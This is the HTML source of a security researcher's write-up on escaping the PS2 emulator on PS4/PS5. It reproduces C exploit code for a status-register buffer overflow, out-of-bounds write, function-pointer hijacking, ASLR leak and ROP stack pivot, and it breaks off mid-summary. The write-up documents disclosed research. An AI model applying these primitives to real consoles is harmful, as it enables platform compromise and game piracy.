-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathmast1c0re.html
415 lines (373 loc) · 38.8 KB
/
mast1c0re.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
<!DOCTYPE html>
<br>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
<link rel="stylesheet" type="text/css" href="css/core.css" />
<link rel="stylesheet" type="text/css" href="css/prism.css" />
<title>mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator - Part 1 - Escape</title>
</head>
<body>
<div class="page">
<div class="container">
<div class="header">
<a href="contact.html" class="header-element">
Contact
</a>
<a href="about.html" class="header-element">
About
</a>
<a href="articles.html" class="header-element">
Articles
</a>
<a href="index.html" class="header-element">
Home
</a>
</div>
<h1>mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator - Part 1 - Escape</h1>
<span class="date">Initial publication: September 14th, 2022</span>
<hr>
<p>In this article I will discuss how I successfully escaped the PS2 emulator developed for the PlayStation 4. See also <a href="mast1c0re-2.html">Part 2</a>, covering the next part of the exploit chain, and PlayStation's response to the research.</p>
<p>For the impatient, a demo video for the first part of this chain is presented <a href="#video-demo">later</a> in this article.</p>
<p><em>Note that these vulnerabilities were discovered and reported back in September 2021, but I was only able to publish this now.</em></p>
<br>
<h2 id="intro">Intro</h2>
<p>It's been a long time since <a href="https://cturt.github.io/dlclose-overflow.html">I last worked on</a> any modern PlayStation hacking, but with the release of the PS5 and the introduction of PlayStation's bug bounty program, I was motivated to attempt some kind of exploit chain that would work on the PS5.</p>
<p>I settled on attacking the PS2 emulator, which turns out to be a very appealing target for a number of reasons:</p>
<ol>
<li><p>Escaping it would grant the ability to run <b>pirated PS2 games</b> on the PS4, PS5, and potentially also the PSN cloud gaming service.</p>
<p> This is particularly valuable because access to running just the subset of officially available PS2 games on these platforms is being charged at the <strong>highest tier</strong> of PlayStation's new subscription service.</p>
</li>
<li><p>The PS2 emulator is some of the last remaining <b>JIT privileged code</b> on the PS5.</p>
<p> Sony aggressively removed JIT privileged attack surface from the PS5, disabling JIT in both the web browser and <a href="https://github.com/TheOfficialFloW/Presentations/blob/master/2022-hardwear-io-bd-jb.pdf">the BluRay player</a>. Since the PS2 emulator is really a PS4 title that runs due to backwards compatibility, they were unable to make changes to the software, and so its JIT privilege had to be spared.</p>
<p> Having JIT privilege means that <em>fully</em> compromising the emulator, including the compiler co-process, would grant the ability to run fully arbitrary native code (not just ROP) on the PS4/PS5 without the need for a kernel exploit. This would be especially convenient on the PS5 because the newly introduced <a href="https://playstationdev.wiki/ps5devwiki/index.php?title=Hypervisor">hypervisor</a> enforces that code pages (both userland and kernel) are not readable, and I don't have the patience to try to write a blind kernel exploit again as I did when I <a href="https://cturt.github.io/ps4-3.html">ported BadIRET to the PS4</a> without a kernel dump.</p>
<p> With arbitrary code execution in a PS4 game process, homebrew software, including JIT optimised emulators, and potentially even some pirated commercial PS4 games could be run under this context.</p>
</li>
<li><p>Under PlayStation's security model it's essentially <b>unpatchable</b>.</p>
<p> Once you have access to an exploitable game (digital or physical), it would be extremely difficult for PlayStation to remove your access to it.</p>
<p> The console was designed to enforce required updates for the Operating System to play the latest games, but the Operating System was not designed with any mechanism to enforce the latest patches for games; ie: old versions of games can always be played on the latest version of the Operating System:</p>
<ul>
<li>For physical games, you can simply launch them without first checking for updates.</li>
<li><p>For digital games, you can <a href="https://www.youtube.com/watch?v=wGUQ2Ynx0Uk">downgrade them</a> by proxying PSN traffic (which is just HTTP, instead of HTTPS for server-side cost saving reasons).</p>
</ul>
<p>It was designed this way since PlayStation can't be held responsible for the security of third party games (particularly those that statically link to old versions of WebKit). Their security model instead focuses on securing higher privileged layers of the platform (kernel, and hypervisor on PS5), operating under the assumption that games are compromised.</p>
<p>It's my interpretation that the existence of games with special privileges, like the PS2 emulator's JIT, fundamentally violates their own security model because it leaves privileged code with no readily available mechanisms to patch potential future vulnerabilities.</p>
<p>Furthermore, in addition to the gap in their security model that prevents patching existing copies of the games, PlayStation has also decided to not even remove the identified known-exploitable PS2 games for purchase from the store. Because of these two reasons, I'm comfortable referring to this exploit chain as "unpatchable", even if it may not <em>technically</em> be fully accurate.</p>
</li>
</ol>
<br>
<h2 id="ps2-emulator-anatomy">PS2 Emulator Anatomy</h2>
<p>The emulator is divided into 2 separate processes: the main <strong>application</strong> process (<code>eboot.bin</code>), and its <strong>compiler</strong> child process (<code>ps2-emu-compiler.self</code>).</p>
<p>The kernel assigns each of these process different privileges, implemented by checking the result of the <code>sceSblACMgrIsJitApplicationProcess</code> and <code>sceSblACMgrIsJitCompilerProcess</code> functions (names taken from back when PS4 kernels still had symbols). The compiler can <strong>write</strong> code, and the application can <strong>execute</strong> code.</p>
<p>The check used to be <a href="https://cturt.github.io/ps4-3.html#code-execution">implemented incorrectly</a>, and the browser application process on PS4 firmware 1.76 could create both writeable mappings, and executable mappings, but nowadays we would need to control both processes in order to be able to produce fully arbitrary code, and so that will be the goal of this chain.</p>
<br>
<h2 id="ps2-code-execution-entry-point">PS2 Code Execution Entry-point</h2>
<p>Our exploit chain will begin by exploiting a PS2 game to achieve code execution within the emulator, either through a save game exploit, or through a purely controller-triggered exploit.</p>
<ul>
<li><p>PS2 save game vulnerabilities are not hard to find; for example, see the GTA decompilations <a href="https://github.com/halpz/re3/blob/9a7fa478578beaba947ea867c15a25e411d641d8/src/save/MemoryCard.cpp#L358">showing</a> a copy from the memory card into a fixed-size buffer with size supplied by the save; exploiting these issues is relatively simple since the PS2 didn't have any exploit mitigations. With one of these exploits, a PS4 save file containing the crafted PS2 memory card can be encrypted and signed for any PSN-ID by anyone with a hacked PS4 on any firmware (or just a PC if they have the decapped SAMU keys), and then imported to the target PS4/PS5 using the USB save import feature in Settings.</p></li>
<li><p>A controller-input-triggered exploit would be less practical, except for having the ability to be used without requiring the USB save import feature, which depends on having signed into PSN (since saves are encrypted per-account), and times out on the PS5 after being offline for too long.</p></li>
</ul>
<p>I did briefly search for PS2 games available on PS4 which could be exploitable this way, and discovered that Dark Cloud would be (there's <a href="https://www.youtube.com/results?search_query=%22dark+cloud%22+item+glitch+menu+before%3A2008-01-01">a decades-old known bug</a> whereby moving the cursor and pressing X on the same frame in the items menu allows you to pick up an item from out-of-bounds memory, which results in exploitable behaviour), but sadly it only received a digital PS4 release, not a physical PS4 disc release (so it doesn't help remove the PSN requirement).</p>
<p>For my chain, I settled on <a href="https://store.playstation.com/en-us/product/UP9000-CUSA02199_00-SCUS971290000001">Okage Shadow King</a>, which has a typical stack buffer oveflow if you extend the player/town name.</p>
<br>
<h2 id="the-emulator-bug">The Emulator Bug</h2>
<p>Given PS2 code execution from any of the 3 identified exploitable PS2 games, I started reverse engineering the emulator itself. The very first thing I looked at was the memory read/write callbacks; you can see on <a href="https://psi-rockin.github.io/ps2tek/#iomaps">ps2tek</a> that some addresses control various PS2 hardware functionality, and so accessing them requires special code for the emulator to handle those requests.</p>
<p>For example, you can see how the PS2's Linux kernel port <a href="https://lore.kernel.org/linux-mips/f5e5a0d92314d695c09c091a25217f7b710c55ca.1567326213.git.noring@nocrew.org/">performs CDVD S commands</a> using these IO registers. To pass arguments to an S command, they are written byte-by-byte into the <code>SCMD_SEND</code> / <code>SCMD_STATUS</code> register (<code>0x1F402005</code>), and there is a similar register used for supplying arguments to CDVD N commands (<code>0x1f402017</code>).</p>
<p>Let's take a look at how the emulator handles byte writes to those registers. Below are snippets from the decompilation of function at <code>0x479584</code> in the eboot of Okage Shadow King update 1.01:</p>
<pre><code class="language-c"> <span class="hljs-keyword">case</span> <span class="hljs-number">0x1f402005</span>: <span class="hljs-comment">// N_STATUS</span>
currentbufferoffset = (<span class="hljs-keyword">ulong</span>)nstatusindex;
nstatusindex = nstatusindex + <span class="hljs-number">1</span>;
(&nstatusbuffer)[currentbufferoffset] = b;
bVar3 = DAT_014977d5;
<span class="hljs-keyword">break</span>;
...
<span class="hljs-keyword">case</span> <span class="hljs-number">0x1f402017</span>: <span class="hljs-comment">// S_STATUS</span>
currentbufferoffset = (<span class="hljs-keyword">ulong</span>)sstatusindex;
sstatusindex = sstatusindex + <span class="hljs-number">1</span>;
(&sstatusbuffer)[currentbufferoffset] = b;
bVar3 = DAT_014977d5;
<span class="hljs-keyword">break</span>;
</code></pre>
<br>
<p>This is quite an obvious bug: there are no bounds checks on any of these buffered operations.</p>
<p>In other words, simply writing to either of these registers consecutively more than 16 times will lead to overflowing the status buffers with arbitrary bytes; we'll call this <strong>Primitive 1</strong>, and by submitting invalid commands to reset the index, we can use it repeatedly:</p>
<pre><code class="language-c">void resetSStatusIndex(void) {
// Submit invalid command!
*S_CMD = 0;
// Wait for completion (busy flag to be cleared)
while((*S_STATUS) & 0x80);
// Flush S command result
while(!((*S_STATUS) & 0x40)) (void)S_IN;
}
void sStatusBufferOverflow(void *overflow, unsigned int overflowSize) {
resetSStatusIndex();
// Fill the buffer
for(int i = 0; i < 0x10; i++) {
*S_STATUS = 0;
}
// Begin writing out-of-bounds
for(int i = 0; i < overflowSize; i++) {
*S_STATUS = ((unsigned char *)overflow)[i];
}
}
</code></pre>
<br>
<p>Note that other registers like <code>0x1f402016</code> (CDVD S Command), and <code>0x1f402004</code> (CDVD N Command), are also vulnerable to buffer overflows, so in total there are at least 4 variant vulnerabilities like this, but since the emulator is quasi-unpatchable, and PlayStation's bounty program stopped accepting PS2 emulator escape reports after the first one, there is no reason to find or analyse other bugs.</p>
<br>
<h3 id="primitive-2-consecutive-overwrite-to-overwrite-at-arbitrary-index">Primitive 2 - Consecutive Overwrite to Overwrite at Arbitrary Index</h3>
<p>To start exploiting this bug, let's lay out the addresses of the aforementioned variables so we can see what corruption we can cause from the overflows:</p>
<pre><code class="language-c"><span class="hljs-number">0x897810</span> n <span class="hljs-built_in">status</span> buffer (<span class="hljs-number">16</span>-bytes)
<span class="hljs-number">0x897820</span> s <span class="hljs-built_in">status</span> buffer (<span class="hljs-number">16</span>-bytes)
(<span class="hljs-number">0x60</span> bytes of other variables)
<span class="hljs-number">0x897890</span> n <span class="hljs-built_in">status</span> index (<span class="hljs-number">4</span>-bytes)
(<span class="hljs-number">0xc</span> bytes of other variables)
<span class="hljs-number">0x8978A0</span> s <span class="hljs-built_in">status</span> index (<span class="hljs-number">4</span>-bytes)
</code></pre>
<br>
<p>By overflowing the S status buffer, we will very quickly begin overwriting the N status index.</p>
<p>Looking back at the handling of writing a byte to the N status register, you'll notice that once we control the N status index, this code path will allow us to write our arbitrary input byte to the N status buffer at an arbitrary 4-byte unsigned index (and then advance the index by 1):</p>
<pre><code class="language-c"> <span class="hljs-keyword">case</span> <span class="hljs-number">0x1f402005</span>: <span class="hljs-comment">// N_STATUS</span>
currentbufferoffset = (<span class="hljs-keyword">ulong</span>)nstatusindex;
nstatusindex = nstatusindex + <span class="hljs-number">1</span>;
(&nstatusbuffer)[currentbufferoffset] = b; <span class="hljs-comment">// <-- Controlled byte write to controlled 4-byte unsigned index</span>
bVar3 = DAT_014977d5;
<span class="hljs-keyword">break</span>;
</code></pre>
<br>
<p>We'll call this <strong>Primitive 2</strong>.</p>
<pre><code class="language-c">void resetNStatusIndex(void) {
// Submit invalid command!
*N_CMD = 0;
// Wait for completion (busy flag to be cleared)
while((*N_STATUS) & 0x80);
}
void setOOBindex(unsigned int index) {
resetNStatusIndex();
unsigned char overflow[0x60 + sizeof(index)] = {};
// Overwrite N status index
overflow[0x60 + 0] = index >> 0;
overflow[0x60 + 1] = index >> 8;
overflow[0x60 + 2] = index >> 16;
overflow[0x60 + 3] = index >> 24;
sStatusBufferOverflow(overflow, sizeof(overflow));
}
void writeToOOBIndex(unsigned char v) {
// Perform OOB write to N status index and advance index
*N_STATUS = v;
}
void writeOOB1(unsigned int index, unsigned char v) {
setOOBindex(index);
writeToOOBIndex(v);
}
// ... writeOOB2, writeOOB4, writeOOB8, writeOOBN ...</code></pre>
<br>
<p>Since the write is made relative to a statically allocated buffer in the eboot's read-write data region, ASLR doesn't affect our ability to corrupt any other reachable targets in the eboot's mapped sections, but just for demonstration purposes: if we temporarily disable ASLR, we can use it to create a small Proof-Of-Concept that writes to the native PS4 address <code>0x41414141</code> from within PS2 code execution context:</p>
<pre><code class="language-c">// Write 0x41 to native PS4 address 0x41414141 (if ASLR is disabled, N status buffer will be at 0x897810)
writeOOB1(0x41414141 - N_STATUS_BUFFER, 0x41);
</code></pre>
<br>
<p>As with the first primitive, we can do this repeatedly, which results in an extremely powerful primitive: the ability to corrupt any bytes in the eboot's read-write data region that come after the status buffer (since the index is <code>unsigned</code>) to controlled values, without any significant corruption side effects.</p>
<p>Let's browse the memory after this N status buffer, to see what we could corrupt with this new primitive.</p>
<br>
<h3 id="unused-primitive-arbitrary-read-write-by-remapping-iop-ram">Unused Primitive - Arbitrary Read/Write by Remapping IOP RAM</h3>
<p>If we go back to the memory read/write handlers, we'll see that the code handling <a href="https://psi-rockin.github.io/ps2tek/#memorymap">virtual memory addresses</a> backed by Random-Access-Memory regions are implemented using pointers. For instance, when the PS2 performs a 32-bit write to IOP RAM, the emulator will eventually perform a write at its native <code>iopram</code> pointer:</p>
<pre><code class="language-c"> *(unsigned <span class="hljs-keyword">int</span> *)(iopram + (<span class="hljs-keyword">ulong</span>)address) = <span class="hljs-keyword">value</span>;
</code></pre>
<br>
<p>Since that <code>iopram</code> pointer (<code>0xAF6E38</code>) happens to be located after the N status buffer, it is reachable with corruption primitive 2.</p>
<p>By overwriting it, we will effectively remap the emulator's internal pointer to IOP RAM (from its normal value of the fixed address <code>0x9000000000</code>), so that any read/writes we make from the PS2 to the IOP RAM region will be redirected to our new address.</p>
<p>The below PoC demonstrates using this new primitive to write to a native address which we couldn't reach before with just primitive 2's 32-bit indexing:</p>
<pre><code class="language-c"> <span class="hljs-comment">// Remap IOP from 0x0000009000000000 -> 0x0000004100000000</span>
writeOOB1(IOP_RAM_POINTER - N_STATUS_BUFFER + <span class="hljs-number">4</span>, <span class="hljs-number">0x41</span>);
<span class="hljs-comment">// Write 0x61 to 0x4100000000</span>
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *iop_ram = (<span class="hljs-keyword">void</span> *)<span class="hljs-number">0x1C000000</span>;
*iop_ram = <span class="hljs-number">0x61</span>;
</code></pre>
<br>
<p>Just like that, we've achieved arbitrary native read/write from PS2 code!</p>
<p>In practice, this primitive is not very reliable because the emulator runs multiple threads, which may start to behave unexpectedly if we redirect this pointer, so I didn't end up using it in the final exploit. Let's continue browsing for other corruption targets.</p>
<br>
<h3 id="primitive-3-redirected-read-handler-call">Primitive 3 - Redirected Read-Handler Call</h3>
<p>Back again to the memory read/write handlers, we'll see that there are also some jump tables / arrays of function pointers that are called when we access some of the memory mapped IO registers.</p>
<p>For example, if we submit a read to <code>0x10000000</code>, the below code will be reached with <code>rcx == 0</code>, and it will call the first function pointer in the <code>ioRegisterReadHandlers</code> array:</p>
<pre><code class="language-c">0x6E4098: LEA RAX, [ioRegisterReadHandlers]
...
0x6E40B2: CALL qword ptr [RCX + RAX*0x1]
</code></pre>
<br>
<p>By using primitive 2, we can corrupt this entire function pointer to an arbitrary 64-bit address.</p>
<p>Since this program was not compiled with <a href="https://en.wikipedia.org/wiki/Control-flow_integrity">CFI</a> enabled, this will allow us to then trigger a call to our corrupted function pointer by reading from <code>0x10000000</code>, and the <code>eax</code> register will ultimately be returned as the result back to our PS2 read instruction; we'll call this <strong>Primitive 3</strong>:</p>
<pre><code class="language-c"><span class="hljs-comment">// Redirecting the emulator's IO read function pointer lets us call an arbitrary address and get back whatever eax holds after it returns</span>
<span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> <span class="hljs-title">callGadgetAndGetResult</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> gadget)</span> </span>{
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> ioReadFunctionPointerIndex = IO_REGISTER_READ_HANDLERS - N_STATUS_BUFFER;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *io = (<span class="hljs-keyword">void</span> *)<span class="hljs-number">0x10000000</span>;
<span class="hljs-comment">// Corrupt the function pointer</span>
writeOOB4(ioReadFunctionPointerIndex, gadget);
<span class="hljs-comment">// Call the corrupted function pointer, return the result</span>
<span class="hljs-keyword">return</span> *io;
}
</code></pre>
<br>
<p>We have now achieved arbitrary control flow redirection (with the ability to read the return value)!</p>
<br>
<h3 id="primitive-4-partial-function-pointer-overwrite-leak">Primitive 4 - Partial-Function-Pointer-Overwrite Leak</h3>
<p>At this point it's very almost game over; although we can redirect control flow, we don't yet know the address of anything to jump to.</p>
<p>Whilst I had considered that it may be possible to bypass ASLR without any software vulnerability by implementing a spectre-style side channel attack using the <a href="https://psi-rockin.github.io/ps2tek/#eetimers">high precision timers</a> the PS2 is provided access to, it turned out to be easier to just continue to leverage the primitives I've already established.</p>
<p>I went with the partial-pointer-overwrite technique. This exploits the fact that module base addresses are page aligned, so not <em>fully</em> random. Specifically, the PS4 page size is <code>0x4000 = 2^14</code>, so the least significant 14-bits (1.75 bytes) of any code address will always be the same.</p>
<p>Let's take the first IO register read handler pointer; it points to a very small function, with just <code>0x31</code> bytes difference between its first and last instructions (<code>0x615381 - 0x615350</code>):</p>
<pre><code class="language-c"><span class="hljs-number">0000000000615350</span> <span class="hljs-keyword">add</span> <span class="hljs-built_in">edi</span>, <span class="hljs-number">0xf0000000</span>
...
<span class="hljs-number">0000000000615381</span> <span class="hljs-keyword">ret</span>
</code></pre>
<br>
<p>We know for certain that the least-significant byte of this function's address will always be <code>0x50</code>. This makes corrupting just this one byte fully deterministic, ie: by changing it to <code>0x51</code> we would always point at the offset 1 byte into the function, etc, despite ASLR. Let's add an option to the pre-established <code>callGadgetAndGetResult</code> function to allow partial-pointer overwrite:</p>
<pre><code class="language-c"><span class="hljs-comment">// Redirecting the emulator's IO read function pointer lets us call an arbitrary address and get back whatever eax holds after it returns</span>
<span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> <span class="hljs-title">callGadgetAndGetResult</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> gadget, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> gadgetSize)</span> </span>{
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> ioReadFunctionPointerIndex = IO_REGISTER_READ_HANDLERS - N_STATUS_BUFFER;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *io = (<span class="hljs-keyword">void</span> *)<span class="hljs-number">0x10000000</span>;
<span class="hljs-comment">// Corrupt the function pointer</span>
<span class="hljs-keyword">if</span>(gadgetSize == <span class="hljs-number">4</span>) writeOOB4(ioReadFunctionPointerIndex, gadget);
<span class="hljs-comment">// Overwrite just the least significant byte, for before we've defeated ASLR</span>
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(gadgetSize == <span class="hljs-number">1</span>) writeOOB1(ioReadFunctionPointerIndex, gadget);
<span class="hljs-comment">// Call the corrupted function pointer</span>
<span class="hljs-keyword">return</span> *io;
}
</code></pre>
<br>
<p>So where do we redirect the function pointer to? Knowing that whatever is in <code>eax</code> will be returned back to the PS2 code that initiated the memory read, we need some code that will leave a pointer in <code>eax</code>... If you recall how the function pointer was called, the <code>rax</code> register was used to hold the function pointer address, so we don't need to have it do anything, just immediately return!</p>
<pre><code class="language-c"><span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> <span class="hljs-title">getEbootDiff</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
<span class="hljs-comment">// Corrupt the least significant byte from 0x50 -> 0x81 (0x60 -> 0x91 in Okage), to point to a ret instruction</span>
<span class="hljs-comment">// this will make the call return without updating eax (it will still hold the address of the function pointer itself)</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> ioFunctionPointerAddress = callGadgetAndGetResult(PARTIAL_POINTER_OVERWRITE_RET, <span class="hljs-number">1</span>);
<span class="hljs-comment">// This is the difference from the address of the function pointer that we see during static analysis in Ghidra</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> ebootDiff = ioFunctionPointerAddress - IO_REGISTER_READ_HANDLERS;
<span class="hljs-keyword">return</span> ebootDiff;
}
</code></pre>
<br>
<p>With the leaked address, we can derive the address of anything else in any of the eboot binary's mapped sections (since they all coalesce). Another helpful note for us is that since these are the first things mapped into the process their addresses are guaranteed to fit within 32-bits; below is a sample:</p>
<pre><code class="language-c">eboot <span class="hljs-built_in">executable</span> pages - <span class="hljs-number">0</span>x400000
eboot <span class="hljs-keyword">read</span>-<span class="hljs-keyword">only</span> pages - <span class="hljs-number">0</span>x750000
eboot <span class="hljs-keyword">read</span>-<span class="hljs-keyword">write</span> pages - <span class="hljs-number">0</span>x768000
eboot <span class="hljs-keyword">read</span>-<span class="hljs-keyword">write</span> pages - <span class="hljs-number">0</span>x76c000
</code></pre>
<br><br>
<h3 id="leaking-the-stack-pointer">Leaking the Stack Pointer</h3>
<p>Now that we've defeated ASLR of the eboot, we are no longer limited to executing just gadgets within reach using the partial-pointer-overwrite trick.</p>
<p>Let's try to find a gadget that can leak the address of the stack (which we'll need later to return gracefully after our ROP chain finishes).</p>
<p>I've used <a href="https://github.com/0vercl0k/rp">rp++ tool</a> to generate ROP gadget lists <a href="https://cturt.github.io/ps4.html#finding-gadgets">since the early PS4 days</a> (shoutout to <a href="https://twitter.com/0vercl0k">0vercl0k</a>). In this case, I searched for <code>esp</code> and identified this one:</p>
<pre><code class="language-c"><span class="hljs-number">0x6BE323</span>: <span class="hljs-keyword">add</span> <span class="hljs-built_in">eax</span>, <span class="hljs-built_in">esp</span> <span class="hljs-comment">; ret</span>
</code></pre>
<br>
<p>We already know what the initial <code>eax</code> value will be at the time of calling the gadget (from the partial-pointer-overwrite leak described above), so we can just subtract it to get <code>esp</code>, and then <code>rsp</code> is predictably <code>esp | 0x700000000</code> (another weakness of the PS4 ASLR implementation):</p>
<pre><code class="language-c"><span class="hljs-comment">// "Runtime_EE start" stack page base address</span>
<span class="hljs-function"><span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-title">getStackBase</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> ebootDiff)</span> </span>{
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> STACK_DIFF (0x7EECAFAE8 - 0x7EEC90000)</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> add_eax_esp_ret = <span class="hljs-number">0x6BE323 + ebootDiff;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> stackLeak = (callGadgetAndGetResult(add_eax_esp_ret, <span class="hljs-number">4</span>) - (IO_REGISTER_READ_HANDLERS + ebootDiff)) | <span class="hljs-number">0x700000000</span>;
<span class="hljs-keyword">return</span> stackLeak - STACK_DIFF;
}
</code></pre>
<br><br>
<h3 id="primitive-5-redirected-write-handler-call">Primitive 5 - Redirected Write-Handler Call</h3>
<p>Up to this point we've successfully used primitive 3, our control-flow-redirection primitive, to execute single gadgets (such as <code>add eax, esp</code>). Our next step will be to execute ROP chains of multiple gadgets, which is normally done by pivoting the stack pointer (redirect <code>rsp</code> to somewhere we control the contents).</p>
<p>There are many different potential routes to choose from. I decided to experiment with redirecting write handlers. Whilst the read handlers gave us back the result of the called gadget, a write handler can be called with an arbitrary argument in the <code>esi</code> register (the value the PS2 instruction is writing), which may be useful to control. Let's call this <strong>Primitive 5</strong>:</p>
<pre><code class="language-c"><span class="hljs-comment">// Redirecting the emulator's interrupt register write handler lets us call an arbitrary address with an arbitrary argument in edi register</span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">callGadgetWithArgument</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> gadget, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> argument)</span> </span>{
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> interruptRegisterWriteFunctionPointerIndex = INTERRUPT_WRITE_HANDLERS - N_STATUS_BUFFER;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *interruptRegisters = (<span class="hljs-keyword">void</span> *)<span class="hljs-number">0x1F801000</span>;
<span class="hljs-comment">// Corrupt jump target</span>
writeOOB4(interruptRegisterWriteFunctionPointerIndex, gadget);
<span class="hljs-comment">// Jump to the corrupted target</span>
*interruptRegisters = argument;
}
</code></pre>
<br><br>
<h3 id="pivoting-the-stack">Pivoting the Stack</h3>
<p>I couldn't really find any simple gadgets to directly pivot the stack with primitive 5 (like <code>mov esp, esi; ret</code>), but I was able to come up with a slightly more complicated set of gadgets:</p>
<pre><code class="language-c"> //0x7E677C: push rsi ; add bh, cl ; call qword [rsi+0x3B] ; (1 found)
unsigned int push_rsi_call_deref_rsi_plus_3b = 0x7E677C + ebootDiff;
//0x49A2E6: pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ; (2 found)
unsigned int pop_rcx_pop_rsp_ret = 0x49A2E6 + ebootDiff;
unsigned int pop_rsp_ret = 0x49A2EA + ebootDiff;
// Let's write initial chain to some free space
unsigned int initialROP_address = FREE_SPACE + ebootDiff;
setOOBindex(FREE_SPACE - N_STATUS_BUFFER);
writeOOB8_presetIndex(pop_rsp_ret);
writeOOB8_presetIndex(toNative(ropChain));
setOOBindex(FREE_SPACE - N_STATUS_BUFFER + 0x3b);
writeOOB8_presetIndex(pop_rcx_pop_rsp_ret);
callGadgetWithArgument(push_rsi_call_deref_rsi_plus_3b, initialROP_address);
</code></pre>
<br>
<p>Execution will start at the <code>push_rsi_call_deref_rsi_plus_3b</code> gadget, which will push <code>rsi</code> (the address of our initial ROP chain), and a dummy return address, then jump to the <code>pop_rcx_pop_rsp_ret</code> gadget. This second gadget will pop the dummy return address into <code>rcx</code> and then pivot the stack to our initial ROP chain!</p>
<p>Since the initial ROP chain has to have a pointer to the second half of the stack pivot gadget at offset <code>0x3b</code>, we'll just use it to pivot the stack again to an area we fully control without any constraints (the main ROP chain). Arbitrary ROP achieved!</p>
<br>
<h3 id="summary-of-route-to-rop">Summary of Route to ROP</h3>
<p>The consolidated plan to achieve ROP is to set up all of the aforementioned primitives, summarised below:</p>
<p>Primitive 1 (initial bug):</p>
<ul>
<li>Writing to CDVD S Status register repeatedly overflows S status buffer,</li>
</ul>
<p>Primitive 2 (arbitrary index write):</p>
<ul>
<li>Use primitive 1 to corrupt N status index,</li>
<li>Writing to CDVD N Status register now triggers arbitrary byte write to an arbitrary index,</li>
</ul>
<p>Primitive 3 (arbitrary call with result):</p>
<ul>
<li>Use primitive 2 to overwrite an IO read handler function pointer,</li>
<li>Reading from that memory-mapped IO register now calls an arbitrary address and gives us the result,</li>
</ul>
<p>Primitive 4 (defeat eboot ASLR):</p>
<ul>
<li>Use primitive 3 but only partial-pointer-overwrite the address, redirecting it to the function's <code>ret</code> instruction,</li>
<li>That primitive will now return us an address within the eboot,</li>
</ul>
<p>Primitive 5 (arbitrary call with arbitrary argument):</p>
<ul>
<li>Use primitive 2 to overwrite an IO write handler function pointer,</li>
<li>Writing to that memory-mapped IO register now calls an arbitrary address with controlled <code>esi</code> register,</li>
</ul>
<p>Then to use them like so:</p>
<ol>
<li>Use primitive 4 to leak an eboot pointer, which we'll use in subsequent steps to locate gadgets within the eboot's executable section,</li>
<li>Use primitive 3 to call a stack pointer disclosure gadget and get the result,</li>
<li>Create the initial ROP chain (just a stack pivot to the main ROP chain); use primitive 2 to write it to some free space within the eboot's data section so that its address will fit within 32-bits,</li>
<li>Construct a main ROP chain, that finishes by restoring the original callee-saved registers including the stack pointer value which we leaked in step 2,</li>
